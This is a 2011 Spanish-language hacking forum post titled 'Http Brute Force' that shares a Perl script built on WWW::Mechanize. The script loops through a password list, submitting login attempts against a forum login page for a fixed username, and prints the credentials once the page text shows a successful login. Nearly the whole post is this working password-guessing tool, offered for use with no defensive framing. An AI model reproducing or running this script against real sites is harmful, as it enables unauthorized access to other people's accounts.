Http Brute Force

Iniciado por @ed33x, Enero 27, 2011, 08:45:35 PM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.

Enero 27, 2011, 08:45:35 PM Ultima modificación: Marzo 14, 2015, 09:51:09 AM por Expermicid
Código: perl
!/usr/bin/perl

use Carp;

use WWW::Mechanize;

#open pwlist
open INPUT, "file.txt";
my $pw = 0;
@lines = <INPUT>;
close INPUT;

my $webaddress = 'http://www.target.com/forums/login.php';

my $username = 'zondoz';

my $mech = WWW::Mechanize->new(

    cookie_jar      => {},
);

login:

my $password = @lines[$pw];

my $response = $mech->get($webaddress);

if (!$response->is_success) {

    die "Login page unreachable $webaddress: ",  $response->status_line, "\n";

}


# Login

$mech->field('username', $username);

$mech->field('password', $password);

my $response = $mech->click();

if ($response->is_success) {

    goto checkpw;

} else {

    die "Login failed: ",  $response->status_line, "\n";

}

1;
checkpw:
if($mech->content( format => 'text' ) =~ m/You last visited/i){
print "++++++++++++++++++++\n";
print "LOGIN SUCCESSFUL!\n";
print "USERNAME: $username\n";
print "PASSWORD: $password\n";
print "++++++++++++++++++++\n";
} else {
print "trying $username:$password attempts:$pw\n";
$pw ++;
goto login;
}
Me cambie de messenger ahora es: No tienes permitido ver los links. Registrarse o Entrar a mi cuentaNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta